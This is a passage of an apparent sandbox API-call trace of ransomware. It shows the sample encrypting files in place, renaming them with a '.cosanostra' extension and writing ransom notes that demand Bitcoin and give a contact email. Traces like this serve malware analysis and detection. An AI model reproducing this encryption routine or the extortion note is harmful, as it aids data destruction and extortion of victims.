lpNumberOfBytesWritten=0x2abeb34*=0x30, lpOverlapped=0x0) returned 1 [0111.887] CloseHandle (hObject=0x138) returned 1 [0111.887] wnsprintfW (in: pszDest=0x267cc8, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Boot\\BCD.LOG1.cosanostra") returned 31 [0111.887] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="\\\\?\\C:\\Boot\\BCD.LOG1.cosanostra" (normalized: "c:\\boot\\bcd.log1.cosanostra")) returned 1 [0111.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb78 | out: pbBuffer=0x2abeb78) returned 1 [0111.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb70*=0x30) returned 1 [0111.888] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb70 | out: pbBuffer=0x2abeb70) returned 1 [0111.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb68*=0x30) returned 1 [0111.888] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD" (normalized: "c:\\boot\\bcd"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.888] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb70 | out: pbBuffer=0x2abeb70) returned 1 [0111.888] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb68*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb68*=0x30) returned 1 [0111.888] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.889] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abeb68 | out: pbBuffer=0x2abeb68) returned 1 [0111.889] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x2abeb60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x2abeb60*=0x30) returned 1 [0111.889] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\." (normalized: "c:\\boot\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff Thread: id = 6 os_tid = 0xa48 [0074.017] Sleep (dwMilliseconds=0x3e8) [0077.322] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfdc0 | out: pbBuffer=0x28dfdc0) returned 1 [0077.323] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x25cde0*, pdwDataLen=0x28dfdb8*=0x20, dwBufLen=0x30 | out: pbData=0x25cde0*, pdwDataLen=0x28dfdb8*=0x30) returned 1 [0077.323] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0077.528] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 78 [0077.528] StrStrW (lpFirst="VisioLR.cab", lpSrch=".txt") returned 0x0 [0077.528] ReadFile (in: hFile=0xc0, lpBuffer=0x27c920, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd7c, lpOverlapped=0x0 | out: lpBuffer=0x27c920*, lpNumberOfBytesRead=0x28dfd7c*=0x2800, lpOverlapped=0x0) returned 1 [0077.531] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.531] WriteFile (in: hFile=0xc0, lpBuffer=0x27c920*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd7c, lpOverlapped=0x0 | out: lpBuffer=0x27c920*, lpNumberOfBytesWritten=0x28dfd7c*=0x2800, lpOverlapped=0x0) returned 1 [0077.531] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.531] WriteFile (in: hFile=0xc0, lpBuffer=0x28dfdbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd7c, lpOverlapped=0x0 | out: lpBuffer=0x28dfdbc*, lpNumberOfBytesWritten=0x28dfd7c*=0x4, lpOverlapped=0x0) returned 1 [0077.533] WriteFile (in: hFile=0xc0, lpBuffer=0x25cde0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd7c, lpOverlapped=0x0 | out: lpBuffer=0x25cde0*, lpNumberOfBytesWritten=0x28dfd7c*=0x30, lpOverlapped=0x0) returned 1 [0077.533] CloseHandle (hObject=0xc0) returned 1 [0078.296] wnsprintfW (in: pszDest=0x28e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.cosanostra") returned 89 [0078.296] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.cosanostra")) returned 1 [0078.297] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfdb8 | out: pbBuffer=0x28dfdb8) returned 1 [0078.297] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfdb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfdb0*=0x30) returned 1 [0078.297] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0078.297] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 83 [0078.297] StrStrW (lpFirst="OfficeMUISet.msi", lpSrch=".txt") returned 0x0 [0078.297] ReadFile (in: hFile=0xc0, lpBuffer=0x280078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd74, lpOverlapped=0x0 | out: lpBuffer=0x280078*, lpNumberOfBytesRead=0x28dfd74*=0x2800, lpOverlapped=0x0) returned 1 [0078.316] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.316] WriteFile (in: hFile=0xc0, lpBuffer=0x280078*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd74, lpOverlapped=0x0 | out: lpBuffer=0x280078*, lpNumberOfBytesWritten=0x28dfd74*=0x2800, lpOverlapped=0x0) returned 1 [0078.317] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.317] WriteFile (in: hFile=0xc0, lpBuffer=0x28dfdb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd74, lpOverlapped=0x0 | out: lpBuffer=0x28dfdb4*, lpNumberOfBytesWritten=0x28dfd74*=0x4, lpOverlapped=0x0) returned 1 [0078.330] WriteFile (in: hFile=0xc0, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd74, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x28dfd74*=0x30, lpOverlapped=0x0) returned 1 [0078.330] CloseHandle (hObject=0xc0) returned 1 [0078.686] wnsprintfW (in: pszDest=0x29e678, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.cosanostra") returned 94 [0078.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.cosanostra")) returned 1 [0078.687] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfdb8 | out: pbBuffer=0x28dfdb8) returned 1 [0078.687] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfdb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfdb0*=0x30) returned 1 [0078.687] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.687] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfdb0 | out: pbBuffer=0x28dfdb0) returned 1 [0078.687] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfda8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfda8*=0x30) returned 1 [0078.687] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0078.688] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfdb0 | out: pbBuffer=0x28dfdb0) returned 1 [0078.688] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfda8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfda8*=0x30) returned 1 [0078.688] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0078.688] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll") returned 78 [0078.688] StrStrW (lpFirst="msvcr90.dll", lpSrch=".txt") returned 0x0 [0078.688] ReadFile (in: hFile=0xc0, lpBuffer=0x27d830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesRead=0x28dfd6c*=0x2800, lpOverlapped=0x0) returned 1 [0078.766] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.767] WriteFile (in: hFile=0xc0, lpBuffer=0x27d830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x27d830*, lpNumberOfBytesWritten=0x28dfd6c*=0x2800, lpOverlapped=0x0) returned 1 [0078.767] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.767] WriteFile (in: hFile=0xc0, lpBuffer=0x28dfdac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x28dfdac*, lpNumberOfBytesWritten=0x28dfd6c*=0x4, lpOverlapped=0x0) returned 1 [0078.777] WriteFile (in: hFile=0xc0, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd6c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x28dfd6c*=0x30, lpOverlapped=0x0) returned 1 [0078.777] CloseHandle (hObject=0xc0) returned 1 [0078.988] wnsprintfW (in: pszDest=0x28e650, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.cosanostra") returned 89 [0078.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\msvcr90.dll.cosanostra")) returned 1 [0078.989] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0078.990] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0078.990] WriteFile (in: hFile=0xc0, lpBuffer=0x28dfc47*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfe08, lpOverlapped=0x0 | out: lpBuffer=0x28dfc47*, lpNumberOfBytesWritten=0x28dfe08*=0x1bf, lpOverlapped=0x0) returned 1 [0078.990] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0078.990] WriteFile (in: hFile=0xc0, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfe08, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfe08*=0x2ac, lpOverlapped=0x0) returned 1 [0078.991] CloseHandle (hObject=0xc0) returned 1 [0078.991] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfda8 | out: pbBuffer=0x28dfda8) returned 1 [0078.991] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfda0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfda0*=0x30) returned 1 [0078.991] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0078.991] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 92 [0078.991] StrStrW (lpFirst="branding.xml", lpSrch=".txt") returned 0x0 [0078.992] ReadFile (in: hFile=0xc0, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x28dfd64*=0x2800, lpOverlapped=0x0) returned 1 [0079.018] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.018] WriteFile (in: hFile=0xc0, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x28dfd64*=0x2800, lpOverlapped=0x0) returned 1 [0079.019] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.019] WriteFile (in: hFile=0xc0, lpBuffer=0x28dfda4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x28dfda4*, lpNumberOfBytesWritten=0x28dfd64*=0x4, lpOverlapped=0x0) returned 1 [0079.156] WriteFile (in: hFile=0xc0, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd64, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x28dfd64*=0x30, lpOverlapped=0x0) returned 1 [0079.156] CloseHandle (hObject=0xc0) returned 1 [0079.228] wnsprintfW (in: pszDest=0x28e718, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.cosanostra") returned 103 [0079.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.cosanostra")) returned 1 [0079.273] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfda0 | out: pbBuffer=0x28dfda0) returned 1 [0079.274] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfd98*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfd98*=0x30) returned 1 [0079.274] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.305] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 80 [0079.305] StrStrW (lpFirst="PrjProrWW.xml", lpSrch=".txt") returned 0x0 [0079.306] ReadFile (in: hFile=0x134, lpBuffer=0x2b1078, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x2b1078*, lpNumberOfBytesRead=0x28dfd5c*=0x1915, lpOverlapped=0x0) returned 1 [0079.338] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xffffe6eb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.338] WriteFile (in: hFile=0x134, lpBuffer=0x2b1078*, nNumberOfBytesToWrite=0x1915, lpNumberOfBytesWritten=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x2b1078*, lpNumberOfBytesWritten=0x28dfd5c*=0x1915, lpOverlapped=0x0) returned 1 [0079.338] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.339] WriteFile (in: hFile=0x134, lpBuffer=0x28dfd9c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x28dfd9c*, lpNumberOfBytesWritten=0x28dfd5c*=0x4, lpOverlapped=0x0) returned 1 [0079.339] WriteFile (in: hFile=0x134, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x28dfd5c*=0x30, lpOverlapped=0x0) returned 1 [0079.339] CloseHandle (hObject=0x134) returned 1 [0079.340] wnsprintfW (in: pszDest=0x29e168, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.cosanostra") returned 91 [0079.340] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.cosanostra")) returned 1 [0079.341] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfda0 | out: pbBuffer=0x28dfda0) returned 1 [0079.341] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x28dfd98*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x28dfd98*=0x30) returned 1 [0079.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\.." (normalized: "c:"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.341] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfd98 | out: pbBuffer=0x28dfd98) returned 1 [0079.341] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27cb18*, pdwDataLen=0x28dfd90*=0x20, dwBufLen=0x30 | out: pbData=0x27cb18*, pdwDataLen=0x28dfd90*=0x30) returned 1 [0079.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\." (normalized: "c:\\programdata\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0079.341] CreateFileW (lpFileName="\\\\?\\C:\\PerfLogs\\#RECOVERY_FILES#.txt" (normalized: "c:\\perflogs\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134 [0079.342] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.342] WriteFile (in: hFile=0x134, lpBuffer=0x28dfc33*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfdf4, lpOverlapped=0x0 | out: lpBuffer=0x28dfc33*, lpNumberOfBytesWritten=0x28dfdf4*=0x1bf, lpOverlapped=0x0) returned 1 [0079.343] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.343] WriteFile (in: hFile=0x134, 